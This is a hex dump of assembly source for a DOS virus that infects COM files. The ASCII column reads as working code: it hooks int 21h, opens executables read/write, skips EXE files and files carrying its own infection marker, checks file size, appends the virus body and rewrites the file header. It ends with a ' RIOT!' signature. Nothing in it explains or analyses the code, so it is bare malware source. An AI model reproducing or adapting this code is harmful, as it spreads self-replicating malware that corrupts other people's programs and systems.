|00001170| 74 32 31 3a 0a 20 20 20 | 20 20 20 20 20 20 20 20 |t21:.   |        |
|00001180| 20 20 20 20 20 64 62 20 | 20 20 20 20 20 30 65 61 |     db |     0ea|
|00001190| 68 20 3b 20 6a 6d 70 20 | 66 61 72 20 70 74 72 0a |h ; jmp |far ptr.|
|000011a0| 6f 6c 64 69 6e 74 32 31 | 20 20 20 20 20 20 20 20 |oldint21|        |
|000011b0| 64 64 20 20 20 20 20 20 | 3f 0a 0a 69 6e 66 65 63 |dd      |?..infec|
|000011c0| 74 3a 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |t:.     |        |
|000011d0| 20 20 20 6d 6f 76 20 20 | 20 20 20 61 78 2c 33 44 |   mov  |   ax,3D|
|000011e0| 30 32 68 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |02h     |        |
|000011f0| 20 20 20 3b 20 6f 70 65 | 6e 20 66 69 6c 65 20 72 |   ; ope|n file r|
|00001200| 65 61 64 2f 77 72 69 74 | 65 0a 20 20 20 20 20 20 |ead/writ|e.      |
|00001210| 20 20 20 20 20 20 20 20 | 20 20 69 6e 74 20 20 20 |        |  int   |
|00001220| 20 20 39 31 68 0a 20 20 | 20 20 20 20 20 20 20 20 |  91h.  |        |
|00001230| 20 20 20 20 20 20 6a 63 | 20 20 20 20 20 20 65 78 |      jc|      ex|
|00001240| 69 74 5f 69 6e 66 65 63 | 74 0a 20 20 20 20 20 20 |it_infec|t.      |
|00001250| 20 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |        |  mov   |
|00001260| 20 20 62 78 2c 61 78 0a | 20 20 20 20 20 20 20 20 |  bx,ax.|        |
|00001270| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 |        |mov     |
|00001280| 63 78 2c 31 30 30 68 0a | 20 20 20 20 20 20 20 20 |cx,100h.|        |
|00001290| 20 20 20 20 20 20 20 20 | 70 75 73 68 20 20 20 20 |        |push    |
|000012a0| 63 73 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |cs.     |        |
|000012b0| 20 20 20 70 6f 70 20 20 | 20 20 20 64 73 0a 20 20 |   pop  |   ds.  |
|000012c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6d 6f |        |      mo|
|000012d0| 76 20 20 20 20 20 61 68 | 2c 33 46 68 20 20 20 20 |v     ah|,3Fh    |
|000012e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 |        |      ; |
|000012f0| 52 65 61 64 20 66 69 72 | 73 74 20 31 30 30 68 20 |Read fir|st 100h |
|00001300| 62 79 74 65 73 0a 20 20 | 20 20 20 20 20 20 20 20 |bytes.  |        |
|00001310| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 64 78 |      mo|v     dx|
|00001320| 2c 6f 66 66 73 65 74 20 | 65 6e 64 76 69 72 75 73 |,offset |endvirus|
|00001330| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00001340| 20 69 6e 74 20 20 20 20 | 20 39 31 68 0a 20 20 20 | int    | 91h.   |
|00001350| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 |        |     mov|
|00001360| 20 20 20 20 20 61 78 2c | 77 6f 72 64 20 70 74 72 |     ax,|word ptr|
|00001370| 20 65 6e 64 76 69 72 75 | 73 0a 20 20 20 20 20 20 | endviru|s.      |
|00001380| 20 20 20 20 20 20 20 20 | 20 20 63 6d 70 20 20 20 |        |  cmp   |
|00001390| 20 20 61 78 2c 27 4d 5a | 27 20 20 20 20 20 20 20 |  ax,'MZ|'       |
|000013a0| 20 20 20 20 20 20 20 20 | 20 20 3b 20 65 78 69 74 |        |  ; exit|
|000013b0| 20 69 66 20 45 58 45 0a | 20 20 20 20 20 20 20 20 | if EXE.|        |
|000013c0| 20 20 20 20 20 20 20 20 | 6a 65 20 20 20 20 20 20 |        |je      |
|000013d0| 63 6c 6f 73 65 5f 65 78 | 69 74 5f 69 6e 66 65 63 |close_ex|it_infec|
|000013e0| 74 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |t.      |        |
|000013f0| 20 20 63 6d 70 20 20 20 | 20 20 61 78 2c 27 5a 4d |  cmp   |  ax,'ZM|
|00001400| 27 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |'       |        |
|00001410| 20 20 3b 20 65 78 69 74 | 20 69 66 20 45 58 45 0a |  ; exit| if EXE.|
|00001420| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00001430| 6a 65 20 20 20 20 20 20 | 63 6c 6f 73 65 5f 65 78 |je      |close_ex|
|00001440| 69 74 5f 69 6e 66 65 63 | 74 0a 20 20 20 20 20 20 |it_infec|t.      |
|00001450| 20 20 20 20 20 20 20 20 | 20 20 63 6d 70 20 20 20 |        |  cmp   |
|00001460| 20 20 77 6f 72 64 20 70 | 74 72 20 65 6e 64 76 69 |  word p|tr endvi|
|00001470| 72 75 73 2b 32 2c 39 37 | 35 33 68 20 3b 20 65 78 |rus+2,97|53h ; ex|
|00001480| 69 74 20 69 66 20 61 6c | 72 65 61 64 79 0a 20 20 |it if al|ready.  |
|00001490| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6a 65 |        |      je|
|000014a0| 20 20 20 20 20 20 63 6c | 6f 73 65 5f 65 78 69 74 |      cl|ose_exit|
|000014b0| 5f 69 6e 66 65 63 74 20 | 20 20 20 20 20 20 3b 20 |_infect |      ; |
|000014c0| 69 6e 66 65 63 74 65 64 | 0a 20 20 20 20 20 20 20 |infected|.       |
|000014d0| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 |        | mov    |
|000014e0| 20 61 6c 2c 32 20 20 20 | 20 20 20 20 20 20 20 20 | al,2   |        |
|000014f0| 20 20 20 20 20 20 20 20 | 20 3b 20 67 6f 20 74 6f |        | ; go to|
|00001500| 20 65 6e 64 20 6f 66 20 | 66 69 6c 65 0a 20 20 20 | end of |file.   |
|00001510| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 63 61 6c |        |     cal|
|00001520| 6c 20 20 20 20 6d 6f 76 | 65 5f 66 69 6c 65 5f 70 |l    mov|e_file_p|
|00001530| 6f 69 6e 74 65 72 0a 20 | 20 20 20 20 20 20 20 20 |ointer. |        |
|00001540| 20 20 20 20 20 20 20 63 | 6d 70 20 20 20 20 20 61 |       c|mp     a|
|00001550| 78 2c 30 46 45 42 30 68 | 20 20 20 20 20 20 20 20 |x,0FEB0h|        |
|00001560| 20 20 20 20 20 20 20 3b | 20 65 78 69 74 20 69 66 |       ;| exit if|
|00001570| 20 74 6f 6f 20 6c 61 72 | 67 65 0a 20 20 20 20 20 | too lar|ge.     |
|00001580| 20 20 20 20 20 20 20 20 | 20 20 20 6a 61 20 20 20 |        |   ja   |
|00001590| 20 20 20 63 6c 6f 73 65 | 5f 65 78 69 74 5f 69 6e |   close|_exit_in|
|000015a0| 66 65 63 74 0a 20 20 20 | 20 20 20 20 20 20 20 20 |fect.   |        |
|000015b0| 20 20 20 20 20 63 6d 70 | 20 20 20 20 20 61 78 2c |     cmp|     ax,|
|000015c0| 31 46 34 68 20 20 20 20 | 20 20 20 20 20 20 20 20 |1F4h    |        |
|000015d0| 20 20 20 20 20 3b 20 6f | 72 20 74 6f 6f 20 73 6d |     ; o|r too sm|
|000015e0| 61 6c 6c 20 66 6f 72 0a | 20 20 20 20 20 20 20 20 |all for.|        |
|000015f0| 20 20 20 20 20 20 20 20 | 6a 62 20 20 20 20 20 20 |        |jb      |
|00001600| 63 6c 6f 73 65 5f 65 78 | 69 74 5f 69 6e 66 65 63 |close_ex|it_infec|
|00001610| 74 20 20 20 20 20 20 20 | 3b 20 69 6e 66 65 63 74 |t       |; infect|
|00001620| 69 6f 6e 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |ion.    |        |
|00001630| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 65 6e 64 66 |    mov |    endf|
|00001640| 69 6c 65 2c 61 78 20 20 | 20 20 20 20 20 20 20 20 |ile,ax  |        |
|00001650| 20 20 20 20 3b 20 73 61 | 76 65 20 66 69 6c 65 20 |    ; sa|ve file |
|00001660| 73 69 7a 65 0a 20 20 20 | 20 20 20 20 20 20 20 20 |size.   |        |
|00001670| 20 20 20 20 20 63 61 6c | 6c 20 20 20 20 77 72 69 |     cal|l    wri|
|00001680| 74 65 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |te.     |        |
|00001690| 20 20 20 6d 6f 76 20 20 | 20 20 20 61 6c 2c 30 20 |   mov  |   al,0 |
|000016a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000016b0| 20 20 20 3b 20 67 6f 20 | 74 6f 20 73 74 61 72 74 |   ; go |to start|
|000016c0| 20 6f 66 20 66 69 6c 65 | 0a 20 20 20 20 20 20 20 | of file|.       |
|000016d0| 20 20 20 20 20 20 20 20 | 20 63 61 6c 6c 20 20 20 |        | call   |
|000016e0| 20 6d 6f 76 65 5f 66 69 | 6c 65 5f 70 6f 69 6e 74 | move_fi|le_point|
|000016f0| 65 72 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |er.     |        |
|00001700| 20 20 20 6d 6f 76 20 20 | 20 20 20 64 78 2c 31 30 |   mov  |   dx,10|
|00001710| 30 68 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |0h      |        |
|00001720| 20 20 20 3b 20 77 72 69 | 74 65 20 76 69 72 75 73 |   ; wri|te virus|
|00001730| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00001740| 20 63 61 6c 6c 20 20 20 | 20 77 72 69 74 65 0a 63 | call   | write.c|
|00001750| 6c 6f 73 65 5f 65 78 69 | 74 5f 69 6e 66 65 63 74 |lose_exi|t_infect|
|00001760| 3a 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |:.      |        |
|00001770| 20 20 6d 6f 76 20 20 20 | 20 20 61 68 2c 33 45 68 |  mov   |  ah,3Eh|
|00001780| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00001790| 20 20 3b 20 43 6c 6f 73 | 65 20 66 69 6c 65 0a 20 |  ; Clos|e file. |
|000017a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 69 |        |       i|
|000017b0| 6e 74 20 20 20 20 20 39 | 31 68 0a 65 78 69 74 5f |nt     9|1h.exit_|
|000017c0| 69 6e 66 65 63 74 3a 0a | 20 20 20 20 20 20 20 20 |infect:.|        |
|000017d0| 20 20 20 20 20 20 20 20 | 72 65 74 6e 0a 0a 6d 6f |        |retn..mo|
|000017e0| 76 65 5f 66 69 6c 65 5f | 70 6f 69 6e 74 65 72 3a |ve_file_|pointer:|
|000017f0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00001800| 20 70 75 73 68 20 20 20 | 20 64 78 0a 20 20 20 20 | push   | dx.    |
|00001810| 20 20 20 20 20 20 20 20 | 20 20 20 20 78 6f 72 20 |        |    xor |
|00001820| 20 20 20 20 63 78 2c 63 | 78 0a 20 20 20 20 20 20 |    cx,c|x.      |
|00001830| 20 20 20 20 20 20 20 20 | 20 20 78 6f 72 20 20 20 |        |  xor   |
|00001840| 20 20 64 78 2c 64 78 0a | 20 20 20 20 20 20 20 20 |  dx,dx.|        |
|00001850| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 |        |mov     |
|00001860| 61 68 2c 34 32 68 0a 20 | 20 20 20 20 20 20 20 20 |ah,42h. |        |
|00001870| 20 20 20 20 20 20 20 69 | 6e 74 20 20 20 20 20 39 |       i|nt     9|
|00001880| 31 68 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |1h.     |        |
|00001890| 20 20 20 70 6f 70 20 20 | 20 20 20 64 78 0a 20 20 |   pop  |   dx.  |
|000018a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 72 65 |        |      re|
|000018b0| 74 6e 0a 0a 77 72 69 74 | 65 3a 0a 20 20 20 20 20 |tn..writ|e:.     |
|000018c0| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |        |   mov  |
|000018d0| 20 20 20 61 68 2c 34 30 | 68 09 20 0a 20 20 20 20 |   ah,40|h. .    |
|000018e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |        |    mov |
|000018f0| 20 20 20 20 63 78 2c 31 | 30 30 68 0a 20 20 20 20 |    cx,1|00h.    |
|00001900| 20 20 20 20 20 20 20 20 | 20 20 20 20 69 6e 74 20 |        |    int |
|00001910| 20 20 20 20 39 31 68 0a | 20 20 20 20 20 20 20 20 |    91h.|        |
|00001920| 20 20 20 20 20 20 20 20 | 72 65 74 6e 0a 0a 20 20 |        |retn..  |
|00001930| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 64 62 |        |      db|
|00001940| 09 27 20 52 49 4f 54 21 | 27 20 3b 20 52 65 76 6f |.' RIOT!|' ; Revo|
|00001950| 6c 75 74 69 6f 6e 20 49 | 6e 20 4f 75 72 20 54 69 |lution I|n Our Ti|
|00001960| 6d 65 21 0a 65 6e 64 76 | 69 72 75 73 3a 09 09 09 |me!.endv|irus:...|
|00001970| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00001980| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00001990| 20 20 20 20 20 20 20 0a | 20 20 20 20 20 20 20 20 |       .|        |
|000019a0| 20 20 20 20 20 20 20 20 | 69 6e 74 20 20 20 20 20 |        |int     |
|000019b0| 32 30 68 20 20 20 20 20 | 20 3b 20 6f 72 69 67 69 |20h     | ; origi|
|000019c0| 6e 61 6c 20 43 4f 4d 20 | 66 69 6c 65 0a 09 09 65 |nal COM |file...e|
|000019d0| 6e 64 20 20 20 20 20 73 | 74 61 72 74 0a 0a 0a 0a |nd     s|tart....|
|000019e0| 0a                      |                         |.       |        |
+--------+-------------------------+-------------------------+--------+--------+